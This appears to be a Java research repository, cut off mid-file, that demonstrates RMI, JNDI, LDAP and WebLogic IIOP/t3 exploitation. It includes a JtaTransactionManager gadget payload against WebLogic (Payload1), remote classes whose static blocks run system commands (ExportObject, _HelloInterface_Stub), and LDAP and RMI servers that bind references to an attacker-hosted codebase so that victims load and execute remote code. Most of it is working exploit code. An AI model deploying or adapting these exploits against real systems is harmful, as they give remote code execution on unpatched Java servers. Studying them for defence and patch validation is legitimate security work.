16 | 17 | private void readObject(ObjectInputStream s) { 18 | try { 19 | s.defaultReadObject(); 20 | System.out.println("In Message readObject"); 21 | } catch (Exception ex) { 22 | ex.printStackTrace(); 23 | } 24 | } 25 | } 26 | -------------------------------------------------------------------------------- /.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 10 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /java-rmi-client/src/main/java/com/longofo/javarmi/RMIClient2.java: -------------------------------------------------------------------------------- 1 | package com.longofo.javarmi; 2 | 3 | import com.longofo.remoteclass.ExportObject1; 4 | 5 | import java.rmi.registry.LocateRegistry; 6 | import java.rmi.registry.Registry; 7 | 8 | public class RMIClient2 { 9 | public static void main(String[] args) throws Exception { 10 | System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); 11 | Registry registry = LocateRegistry.getRegistry("127.0.0.1",9999); 12 | // 获取远程对象的引用 13 | Services services = (Services) registry.lookup("Services"); 14 | ExportObject1 exportObject1 = new ExportObject1(); 15 | exportObject1.setMessage("hahaha"); 16 | 17 | services.sendMessage(exportObject1); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /ldap/src/main/java/com/longofo/remoteclass/ExportObject.java: -------------------------------------------------------------------------------- 1 | package com.longofo.remoteclass; 2 | 3 | import javax.naming.*; 4 | import javax.naming.spi.ObjectFactory; 5 | import java.io.Serializable; 6 | import java.util.Hashtable; 7 | 8 | public class ExportObject implements ObjectFactory, Serializable, Referenceable { 9 | 10 | private static final long serialVersionUID = 4474289574195395731L; 11 | 12 | @Override 13 | public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception { 14 | return null; 15 | } 16 | 17 | @Override 18 | public Reference getReference() throws NamingException { 19 | return new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/"); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /corba-iiop/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | rmi-jndi-ldap-jrmp 7 | com.longofo 8 | 1.0-SNAPSHOT 9 | 10 | 4.0.0 11 | 12 | corba-iiop 13 | 14 | 15 | 16 | com.alibaba 17 | fastjson 18 | 1.2.61 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /java-rmi-client/src/main/java/com/longofo/javarmi/RMIClient.java: -------------------------------------------------------------------------------- 1 | package com.longofo.javarmi; 2 | 3 | import java.rmi.registry.LocateRegistry; 4 | import java.rmi.registry.Registry; 5 | 6 | public class RMIClient { 7 | /** 8 | * Java RMI恶意利用demo 9 | * 10 | * @param args 11 | * @throws Exception 12 | */ 13 | public static void main(String[] args) throws Exception { 14 | Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999); 15 | // 获取远程对象的引用 16 | Services services = (Services) registry.lookup("Services"); 17 | PublicKnown malicious = new PublicKnown(); 18 | malicious.setParam("calc"); 19 | malicious.setMessage("haha"); 20 | 21 | // 使用远程对象的引用调用对应的方法 22 | System.out.println(services.sendMessage(malicious)); 23 | } 24 | } 25 | -------------------------------------------------------------------------------- /weblogic-rmi-iiop/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | rmi-jndi-ldap-jrmp 7 | com.longofo 8 | 1.0-SNAPSHOT 9 | 10 | 4.0.0 11 | 12 | weblogic-rmi-iiop 13 | 14 | 15 | 16 | com.alibaba 17 | fastjson 18 | 1.2.61 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /corba-iiop/src/main/java/com/longofo/example/EchoApp/EchoHolder.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example.EchoApp; 2 | 3 | /** 4 | * EchoApp/EchoHolder.java . 5 | * Generated by the IDL-to-Java compiler (portable), version "3.2" 6 | * from Echo.idl 7 | * Friday, June 29, 2018 4:29:11 PM EAT 8 | */ 9 | 10 | public final class EchoHolder implements org.omg.CORBA.portable.Streamable 11 | { 12 | public Echo value = null; 13 | 14 | public EchoHolder () 15 | { 16 | } 17 | 18 | public EchoHolder (Echo initialValue) 19 | { 20 | value = initialValue; 21 | } 22 | 23 | public void _read (org.omg.CORBA.portable.InputStream i) 24 | { 25 | value = EchoHelper.read (i); 26 | } 27 | 28 | public void _write (org.omg.CORBA.portable.OutputStream o) 29 | { 30 | EchoHelper.write (o, value); 31 | } 32 | 33 | public org.omg.CORBA.TypeCode _type () 34 | { 35 | return EchoHelper.type (); 36 | } 37 | 38 | } 39 | -------------------------------------------------------------------------------- /jndi/src/main/java/com/longofo/jndi/RMIClient1.java: -------------------------------------------------------------------------------- 1 | package com.longofo.jndi; 2 | 3 | import javax.naming.Context; 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | import javax.naming.directory.DirContext; 7 | import javax.naming.directory.InitialDirContext; 8 | import java.rmi.NotBoundException; 9 | import java.rmi.RemoteException; 10 | 11 | public class RMIClient1 { 12 | public static void main(String[] args) throws RemoteException, NotBoundException, NamingException { 13 | // Properties env = new Properties(); 14 | // env.put(Context.INITIAL_CONTEXT_FACTORY, 15 | // "com.sun.jndi.rmi.registry.RegistryContextFactory"); 16 | // env.put(Context.PROVIDER_URL, 17 | // "rmi://localhost:9999"); 18 | Context ctx = new InitialContext(); 19 | DirContext dirc = new InitialDirContext(); 20 | ctx.lookup("rmi://localhost:9999/refObj"); 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /jndi/src/main/java/com/longofo/jndi/RMIServer1.java: -------------------------------------------------------------------------------- 1 | package com.longofo.jndi; 2 | 3 | import com.sun.jndi.rmi.registry.ReferenceWrapper; 4 | 5 | import javax.naming.NamingException; 6 | import javax.naming.Reference; 7 | import java.rmi.AlreadyBoundException; 8 | import java.rmi.RemoteException; 9 | import java.rmi.registry.LocateRegistry; 10 | import java.rmi.registry.Registry; 11 | 12 | public class RMIServer1 { 13 | public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException { 14 | // 创建Registry 15 | Registry registry = LocateRegistry.createRegistry(9999); 16 | System.out.println("java RMI registry created. port on 9999..."); 17 | Reference refObj = new Reference("ExportObject", "com.longofo.remoteclass.ExportObject", "http://127.0.0.1:8000/"); 18 | ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj); 19 | registry.bind("refObj", refObjWrapper); 20 | } 21 | } 22 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | com.longofo 8 | rmi-jndi-ldap-jrmp 9 | pom 10 | 1.0-SNAPSHOT 11 | 12 | 13 | 14 | java-rmi-server 15 | java-rmi-client 16 | weblogic-rmi-client 17 | weblogic-rmi-server 18 | remote-class 19 | jndi 20 | ldap 21 | corba-iiop 22 | rmi-iiop 23 | weblogic-rmi-iiop 24 | rmi-iiop-test-client 25 | 26 | 27 | -------------------------------------------------------------------------------- /remote-class/src/main/java/com/longofo/example/_HelloInterface_Stub.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example; 2 | 3 | import java.io.BufferedInputStream; 4 | import java.io.BufferedReader; 5 | import java.io.InputStreamReader; 6 | 7 | public class _HelloInterface_Stub { 8 | static { 9 | //这里由于在static代码块中,无法直接抛异常外带数据,不过有其他方式外带数据,可以自己查找下。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中 10 | try { 11 | exec("calc"); 12 | } catch (Exception e) { 13 | e.printStackTrace(); 14 | } 15 | } 16 | 17 | public static void exec(String cmd) throws Exception { 18 | String sb = ""; 19 | BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); 20 | BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); 21 | String lineStr; 22 | while ((lineStr = inBr.readLine()) != null) 23 | sb += lineStr + "\n"; 24 | inBr.close(); 25 | in.close(); 26 | throw new Exception(sb); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /java-rmi-client/src/main/java/com/longofo/javarmi/RMIClient1.java: -------------------------------------------------------------------------------- 1 | package com.longofo.javarmi; 2 | 3 | import java.rmi.RMISecurityManager; 4 | import java.rmi.registry.LocateRegistry; 5 | import java.rmi.registry.Registry; 6 | 7 | public class RMIClient1 { 8 | /** 9 | * Java RMI恶意利用demo 10 | * 11 | * @param args 12 | * @throws Exception 13 | */ 14 | public static void main(String[] args) throws Exception { 15 | //如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库 16 | System.setProperty("java.security.policy", RMIClient1.class.getClassLoader().getResource("java.policy").getFile()); 17 | RMISecurityManager securityManager = new RMISecurityManager(); 18 | System.setSecurityManager(securityManager); 19 | 20 | Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999); 21 | // 获取远程对象的引用 22 | Services services = (Services) registry.lookup("Services"); 23 | Message message = new Message(); 24 | message.setMessage("hahaha"); 25 | 26 | services.sendMessage(message); 27 | } 28 | } 29 | -------------------------------------------------------------------------------- /corba-iiop/src/main/java/com/longofo/example/Client.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example; 2 | 3 | import com.longofo.example.EchoApp.Echo; 4 | import com.longofo.example.EchoApp.EchoHelper; 5 | import org.omg.CORBA.ORB; 6 | import org.omg.CosNaming.NamingContextExt; 7 | import org.omg.CosNaming.NamingContextExtHelper; 8 | 9 | public class Client { 10 | public static void main(String[] args) { 11 | if (args.length == 0) { 12 | args = new String[4]; 13 | args[0] = "-ORBInitialPort"; 14 | args[1] = "1050"; 15 | args[2] = "-ORBInitialHost"; 16 | args[3] = "localhost"; 17 | } 18 | 19 | try { 20 | //创建并初始化ORB 21 | ORB orb = ORB.init(args, null); 22 | org.omg.CORBA.Object objRef = orb.resolve_initial_references("NameService"); 23 | 24 | NamingContextExt ncRef = NamingContextExtHelper.narrow(objRef); 25 | Echo href = EchoHelper.narrow(ncRef.resolve_str("ECHO-SERVER")); 26 | String hello = href.echoString(); 27 | 28 | System.out.println(hello); 29 | } catch (Exception ex) { 30 | ex.printStackTrace(); 31 | } 32 | 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /weblogic-rmi-server/src/main/java/com/longofo/weblogicrmi/HelloImpl.java: -------------------------------------------------------------------------------- 1 | package com.longofo.weblogicrmi; 2 | 3 | import javax.naming.Context; 4 | import javax.naming.InitialContext; 5 | import java.io.IOException; 6 | import java.io.ObjectInputStream; 7 | import java.io.Serializable; 8 | import java.rmi.RemoteException; 9 | 10 | public class HelloImpl implements IHello, Serializable { 11 | @Override 12 | public String sayHello() throws RemoteException { 13 | return "Hello, Remote Call method sayHello"; 14 | } 15 | 16 | @Override 17 | public void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException { 18 | 19 | } 20 | 21 | 22 | public static void main(String[] args) { 23 | try { 24 | HelloImpl obj = new HelloImpl(); 25 | Context ctx = new InitialContext(); 26 | ctx.bind("HelloServer", obj); 27 | System.out.println("HelloImpl created and bound in the registry " + 28 | "to the name HelloServer"); 29 | 30 | } catch (Exception e) { 31 | System.err.println("HelloImpl.main: an exception occurred:"); 32 | System.err.println(e.getMessage()); 33 | } 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /.idea/compiler.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 28 | 29 | -------------------------------------------------------------------------------- /weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Client1.java: -------------------------------------------------------------------------------- 1 | package com.longofo.weblogicrmi; 2 | 3 | import javax.naming.Context; 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | import java.util.Hashtable; 7 | 8 | public class Client1 { 9 | /** 10 | * 测试调用部署在Weblogic上的远程对象 11 | */ 12 | public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; 13 | 14 | public static void main(String[] args) { 15 | try { 16 | InitialContext ic = getInitialContext("t3://192.168.192.135:7001"); 17 | IHello obj = (IHello) ic.lookup("HelloServer"); 18 | System.out.println("Call remote method sayHello, Server return: " + obj.sayHello()); 19 | } catch (Exception ex) { 20 | System.err.println("An exception occurred: " + ex.getMessage()); 21 | } 22 | } 23 | 24 | private static InitialContext getInitialContext(String url) 25 | throws NamingException { 26 | Hashtable env = new Hashtable(); 27 | env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); 28 | env.put(Context.PROVIDER_URL, url); 29 | return new InitialContext(env); 30 | } 31 | } 32 | -------------------------------------------------------------------------------- /rmi-iiop/src/main/java/com/longofo/example/HelloServer.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example; 2 | 3 | import javax.naming.Context; 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | import java.util.Hashtable; 7 | 8 | public class HelloServer { 9 | public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; 10 | 11 | public static void main(String[] args) { 12 | try { 13 | System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); 14 | //实例化Hello servant 15 | HelloImpl helloRef = new HelloImpl(); 16 | 17 | //使用JNDI在命名服务中发布引用 18 | InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); 19 | initialContext.rebind("HelloService", helloRef); 20 | 21 | System.out.println("Hello Server Ready..."); 22 | 23 | Thread.currentThread().join(); 24 | } catch (Exception ex) { 25 | ex.printStackTrace(); 26 | } 27 | } 28 | 29 | private static InitialContext getInitialContext(String url) throws NamingException { 30 | Hashtable env = new Hashtable(); 31 | env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); 32 | env.put(Context.PROVIDER_URL, url); 33 | return new InitialContext(env); 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /rmi-iiop-test-client/src/main/java/com/longofo/example/HelloClient.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example; 2 | 3 | import javax.naming.Context; 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | import java.rmi.RMISecurityManager; 7 | import java.util.Hashtable; 8 | 9 | public class HelloClient { 10 | public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; 11 | 12 | public static void main(String[] args) { 13 | try { 14 | System.setProperty("java.security.policy", HelloClient.class.getClassLoader().getResource("java.policy").getFile()); 15 | RMISecurityManager securityManager = new RMISecurityManager(); 16 | System.setSecurityManager(securityManager); 17 | InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); 18 | 19 | //从命名服务获取引用 20 | initialContext.lookup("HelloService"); 21 | } catch (Exception ex) { 22 | ex.printStackTrace(); 23 | } 24 | } 25 | 26 | private static InitialContext getInitialContext(String url) throws NamingException { 27 | Hashtable env = new Hashtable(); 28 | env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); 29 | env.put(Context.PROVIDER_URL, url); 30 | return new InitialContext(env); 31 | } 32 | } 33 | -------------------------------------------------------------------------------- /rmi-iiop/src/main/java/com/longofo/example/HelloClient.java: -------------------------------------------------------------------------------- 1 | package com.longofo.example; 2 | 3 | import javax.naming.Context; 4 | import javax.naming.InitialContext; 5 | import javax.naming.NamingException; 6 | import javax.rmi.PortableRemoteObject; 7 | import java.util.Hashtable; 8 | 9 | public class HelloClient { 10 | public final static String JNDI_FACTORY = "com.sun.jndi.cosnaming.CNCtxFactory"; 11 | 12 | public static void main(String[] args) { 13 | try { 14 | InitialContext initialContext = getInitialContext("iiop://127.0.0.1:1050"); 15 | 16 | //从命名服务获取引用 17 | Object objRef = initialContext.lookup("HelloService"); 18 | //narrow引用为具体的对象 19 | HelloInterface hello = (HelloInterface) PortableRemoteObject.narrow(objRef, HelloInterface.class); 20 | EvilMessage message = new EvilMessage(); 21 | message.setMsg("Client call method sayHello..."); 22 | hello.sayHello(message); 23 | } catch (Exception ex) { 24 | ex.printStackTrace(); 25 | } 26 | } 27 | 28 | private static InitialContext getInitialContext(String url) throws NamingException { 29 | Hashtable env = new Hashtable(); 30 | env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); 31 | env.put(Context.PROVIDER_URL, url); 32 | return new InitialContext(env); 33 | } 34 | } 35 | -------------------------------------------------------------------------------- /java-rmi-server/src/main/java/com/longofo/javarmi/RMIServer.java: -------------------------------------------------------------------------------- 1 | //RMIServer.java 2 | package com.longofo.javarmi; 3 | 4 | import java.rmi.AlreadyBoundException; 5 | import java.rmi.RemoteException; 6 | import java.rmi.registry.LocateRegistry; 7 | import java.rmi.registry.Registry; 8 | import java.rmi.server.UnicastRemoteObject; 9 | 10 | public class RMIServer { 11 | /** 12 | * Java RMI 服务端 13 | * 14 | * @param args 15 | */ 16 | public static void main(String[] args) { 17 | try { 18 | // 实例化服务端远程对象 19 | ServicesImpl obj = new ServicesImpl(); 20 | // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理 21 | Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); 22 | Registry reg; 23 | try { 24 | // 创建Registry 25 | reg = LocateRegistry.createRegistry(9999); 26 | System.out.println("java RMI registry created. port on 9999..."); 27 | } catch (Exception e) { 28 | System.out.println("Using existing registry"); 29 | reg = LocateRegistry.getRegistry(); 30 | } 31 | //绑定远程对象到Registry 32 | reg.bind("Services", services); 33 | } catch (RemoteException e) { 34 | e.printStackTrace(); 35 | } catch (AlreadyBoundException e) { 36 | e.printStackTrace(); 37 | } 38 | } 39 | } -------------------------------------------------------------------------------- /java-rmi-server/src/main/java/com/longofo/javarmi/RMIServer1.java: -------------------------------------------------------------------------------- 1 | package com.longofo.javarmi; 2 | 3 | import java.rmi.AlreadyBoundException; 4 | import java.rmi.RemoteException; 5 | import java.rmi.registry.LocateRegistry; 6 | import java.rmi.registry.Registry; 7 | import java.rmi.server.UnicastRemoteObject; 8 | 9 | public class RMIServer1 { 10 | public static void main(String[] args) { 11 | try { 12 | // 实例化服务端远程对象 13 | ServicesImpl1 obj = new ServicesImpl1(); 14 | // 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理 15 | Services services = (Services) UnicastRemoteObject.exportObject(obj, 0); 16 | 17 | //设置java.rmi.server.codebase 18 | System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/"); 19 | 20 | Registry reg; 21 | try { 22 | // 创建Registry 23 | reg = LocateRegistry.createRegistry(9999); 24 | System.out.println("java RMI registry created. port on 9999..."); 25 | } catch (Exception e) { 26 | System.out.println("Using existing registry"); 27 | reg = LocateRegistry.getRegistry(); 28 | } 29 | //绑定远程对象到Registry 30 | reg.bind("Services", services); 31 | } catch (RemoteException e) { 32 | e.printStackTrace(); 33 | } catch (AlreadyBoundException e) { 34 | e.printStackTrace(); 35 | } 36 | } 37 | } 38 | -------------------------------------------------------------------------------- /weblogic-rmi-client/src/main/java/com/longofo/weblogicrmi/Payload1.java: -------------------------------------------------------------------------------- 1 | package com.longofo.weblogicrmi; 2 | 3 | import com.bea.core.repackaged.springframework.transaction.jta.JtaTransactionManager; 4 | 5 | import javax.ejb.EJBHome; 6 | import javax.naming.Context; 7 | import javax.naming.InitialContext; 8 | import javax.naming.NamingException; 9 | import java.util.Hashtable; 10 | 11 | public class Payload1 { 12 | /** 13 | * 正常调用RMI的方式,使用JtaTransactionManager利用链恶意利用 14 | */ 15 | public final static String JNDI_FACTORY = "weblogic.jndi.WLInitialContextFactory"; 16 | 17 | public static InitialContext getInitialContext(String url) throws NamingException { 18 | Hashtable env = new Hashtable(); 19 | env.put(Context.INITIAL_CONTEXT_FACTORY, JNDI_FACTORY); 20 | env.put(Context.PROVIDER_URL, url); 21 | return new InitialContext(env); 22 | } 23 | 24 | public static void main(String[] args) throws Exception { 25 | String jndiAddress = "ldap://127.0.0.1:1389/Object"; 26 | 27 | 28 | //实例化JtaTransactionManager 对象,并且初始化UserTransactionName成员变量 29 | JtaTransactionManager jtaTransactionManager = new JtaTransactionManager(); 30 | jtaTransactionManager.setUserTransactionName(jndiAddress); 31 | InitialContext initialContext = getInitialContext("t3://127.0.0.1:7001"); 32 | 33 | EJBHome ejbHome = (EJBHome) initialContext.lookup("ejb/mgmt/MEJB"); 34 | ejbHome.remove(jtaTransactionManager); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /remote-class/src/main/java/com/longofo/remoteclass/ExportObject1.java: -------------------------------------------------------------------------------- 1 | package com.longofo.remoteclass; 2 | 3 | import javax.naming.Context; 4 | import javax.naming.Name; 5 | import javax.naming.spi.ObjectFactory; 6 | import java.io.BufferedInputStream; 7 | import java.io.BufferedReader; 8 | import java.io.InputStreamReader; 9 | import java.io.Serializable; 10 | import java.util.Hashtable; 11 | 12 | public class ExportObject1 implements ObjectFactory, Serializable { 13 | 14 | private static final long serialVersionUID = 4474289574195395731L; 15 | 16 | static { 17 | //这里由于在static代码块中,无法直接抛异常外带数据,不过有其他方式外带数据,可以自己查找下。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中 18 | try { 19 | exec("calc"); 20 | } catch (Exception e) { 21 | e.printStackTrace(); 22 | } 23 | } 24 | 25 | public static void exec(String cmd) throws Exception { 26 | String sb = ""; 27 | BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); 28 | BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); 29 | String lineStr; 30 | while ((lineStr = inBr.readLine()) != null) 31 | sb += lineStr + "\n"; 32 | inBr.close(); 33 | in.close(); 34 | throw new Exception(sb); 35 | } 36 | 37 | public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception { 38 | return null; 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /remote-class/src/main/java/com/longofo/remoteclass/ExportObject.java: -------------------------------------------------------------------------------- 1 | package com.longofo.remoteclass; 2 | 3 | import javax.naming.Context; 4 | import javax.naming.Name; 5 | import javax.naming.spi.ObjectFactory; 6 | import java.io.BufferedInputStream; 7 | import java.io.BufferedReader; 8 | import java.io.InputStreamReader; 9 | import java.io.Serializable; 10 | import java.util.Hashtable; 11 | 12 | public class ExportObject implements ObjectFactory, Serializable { 13 | 14 | private static final long serialVersionUID = 4474289574195395731L; 15 | 16 | static { 17 | //这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块 18 | try { 19 | exec("calc"); 20 | } catch (Exception e) { 21 | e.printStackTrace(); 22 | } 23 | } 24 | 25 | public static void exec(String cmd) throws Exception { 26 | String sb = ""; 27 | BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream()); 28 | BufferedReader inBr = new BufferedReader(new InputStreamReader(in)); 29 | String lineStr; 30 | while ((lineStr = inBr.readLine()) != null) 31 | sb += lineStr + "\n"; 32 | inBr.close(); 33 | in.close(); 34 | // throw new Exception(sb); 35 | } 36 | 37 | public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable environment) throws Exception { 38 | return null; 39 | } 40 | } 41 | -------------------------------------------------------------------------------- /java-rmi-client/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | rmi-jndi-ldap-jrmp 7 | com.longofo 8 | 1.0-SNAPSHOT 9 | 10 | 4.0.0 11 | 12 | java-rmi-client 13 | 14 | 15 | 16 | 17 | org.apache.maven.plugins 18 | maven-jar-plugin 19 | 20 | 21 | 22 | true 23 | com.longofo.javarmi.RMIClient 24 | 25 | 26 | 27 | 28 | 29 | 30 | org.apache.maven.plugins 31 | maven-compiler-plugin 32 | 33 | 1.6 34 | 1.6 35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /java-rmi-server/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | rmi-jndi-ldap-jrmp 7 | com.longofo 8 | 1.0-SNAPSHOT 9 | 10 | 4.0.0 11 | 12 | java-rmi-server 13 | 14 | 15 | 16 | 17 | org.apache.maven.plugins 18 | maven-jar-plugin 19 | 20 | 21 | 22 | true 23 | com.longofo.javarmi.RMIServer 24 | 25 | 26 | 27 | 28 | 29 | 30 | org.apache.maven.plugins 31 | maven-compiler-plugin 32 | 33 | 1.6 34 | 1.6 35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /remote-class/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | rmi-jndi-ldap-jrmp 7 | com.longofo 8 | 1.0-SNAPSHOT 9 | 10 | 4.0.0 11 | 12 | remote-class 13 | 14 | 15 | 16 | 17 | org.apache.maven.plugins 18 | maven-jar-plugin 19 | 20 | 21 | 22 | true 23 | com.longofo.remoteclass.HttpServer 24 | 25 | 26 | 27 | 28 | 29 | 30 | org.apache.maven.plugins 31 | maven-compiler-plugin 32 | 33 | 1.6 34 | 1.6 35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /weblogic-rmi-server/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 6 | rmi-jndi-ldap-jrmp 7 | com.longofo 8 | 1.0-SNAPSHOT 9 | 10 | 4.0.0 11 | 12 | weblogic-rmi-server 13 | 14 | 15 | 16 | 17 | org.apache.maven.plugins 18 | maven-jar-plugin 19 | 20 | 21 | 22 | true 23 | com.longofo.weblogicrmi.HelloImpl 24 | 25 | 26 | 27 | 28 | 29 | 30 | org.apache.maven.plugins 31 | maven-compiler-plugin 32 | 33 | 1.6 34 | 1.6 35 | 36 | 37 | 38 | 39 | 40 | -------------------------------------------------------------------------------- /ldap/src/main/java/com/longofo/LDAPServer2.java: -------------------------------------------------------------------------------- 1 | package com.longofo; 2 | 3 | import javax.naming.Context; 4 | import javax.naming.NamingException; 5 | import javax.naming.directory.*; 6 | import java.rmi.RemoteException; 7 | import java.util.Hashtable; 8 | 9 | public class LDAPServer2 { 10 | public static void main(String[] args) throws NamingException, RemoteException { 11 | Hashtable env = new Hashtable(); 12 | env.put(Context.INITIAL_CONTEXT_FACTORY, 13 | "com.sun.jndi.ldap.LdapCtxFactory"); 14 | env.put(Context.PROVIDER_URL, "ldap://localhost:1389"); 15 | 16 | DirContext ctx = new InitialDirContext(env); 17 | 18 | Attribute mod1 = new BasicAttribute("objectClass", "top"); 19 | mod1.add("javaNamingReference"); 20 | 21 | Attribute mod2 = new BasicAttribute("javaCodebase", 22 | "http://127.0.0.1:8000/"); 23 | Attribute mod3 = new BasicAttribute("javaClassName", 24 | "PayloadObject"); 25 | Attribute mod4 = new BasicAttribute("javaFactory", "com.longofo.remoteclass.ExportObject"); 26 | 27 | 28 | ModificationItem[] mods = new ModificationItem[]{ 29 | new ModificationItem(DirContext.ADD_ATTRIBUTE, mod1), 30 | new ModificationItem(DirContext.ADD_ATTRIBUTE, mod2), 31 | new ModificationItem(DirContext.ADD_ATTRIBUTE, mod3), 32 | new ModificationItem(DirContext.ADD_ATTRIBUTE, mod4) 33 | }; 34 | ctx.modifyAttributes("uid=longofo,ou=employees,dc=example,dc=com", mods); 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /remote-class/src/main/java/com/longofo/remoteclass/HttpServer.java: -------------------------------------------------------------------------------- 1 | package com.longofo.remoteclass; 2 | 3 | import com.sun.net.httpserver.HttpExchange; 4 | import com.sun.net.httpserver.HttpHandler; 5 | 6 | import java.io.ByteArrayOutputStream; 7 | import java.io.IOException; 8 | import java.io.InputStream; 9 | import java.net.InetSocketAddress; 10 | 11 | public class HttpServer implements HttpHandler { 12 | public void handle(HttpExchange httpExchange) { 13 | try { 14 | System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI()); 15 | InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath()); 16 | ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); 17 | while (inputStream.available() > 0) { 18 | byteArrayOutputStream.write(inputStream.read()); 19 | } 20 | 21 | byte[] bytes = byteArrayOutputStream.toByteArray(); 22 | httpExchange.sendResponseHeaders(200, bytes.length); 23 | httpExchange.getResponseBody().write(bytes); 24 | httpExchange.close(); 25 | } catch (Exception e) { 26 | e.printStackTrace(); 27 | } 28 | } 29 | 30 | public static void main(String[] args) throws IOException { 31 | com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0); 32 | 33 | System.out.println("String HTTP Server on port: 8000"); 34 | httpServer.createContext("/", new HttpServer()); 35 | httpServer.setExecutor(null); 36 | httpServer.start(); 37 | } 38 | } -------------------------------------------------------------------------------- /ldap/src/main/java/com/longofo/LDAPServer1.java: -------------------------------------------------------------------------------- 1 | package com.longofo; 2 | 3 | import javax.naming.Context; 4 | import javax.naming.NamingException; 5 | import javax.naming.directory.BasicAttribute; 6 | import javax.naming.directory.DirContext; 7 | import javax.naming.directory.InitialDirContext; 8 | import javax.naming.directory.ModificationItem; 9 | import java.io.File; 10 | import java.io.IOException; 11 | import java.nio.file.Files; 12 | import java.util.Hashtable; 13 | 14 | public class LDAPServer1 { 15 | public static void main(String[] args) throws NamingException, IOException { 16 | Hashtable env = new Hashtable(); 17 | env.put(Context.INITIAL_CONTEXT_FACTORY, 18 | "com.sun.jndi.ldap.LdapCtxFactory"); 19 | env.put(Context.PROVIDER_URL, "ldap://localhost:1389"); 20 | 21 | DirContext ctx = new InitialDirContext(env); 22 | 23 | 24 | String javaCodebase = "http://127.0.0.1:8000/"; 25 | 26 | 27 | byte[] javaSerializedData = Files.readAllBytes(new File("serObj.ser").toPath()); 28 | 29 | BasicAttribute mod1 = new 30 | BasicAttribute("javaCodebase", javaCodebase); 31 | BasicAttribute mod2 = new 32 | BasicAttribute("javaClassName", "DeserPayload"); 33 | BasicAttribute mod3 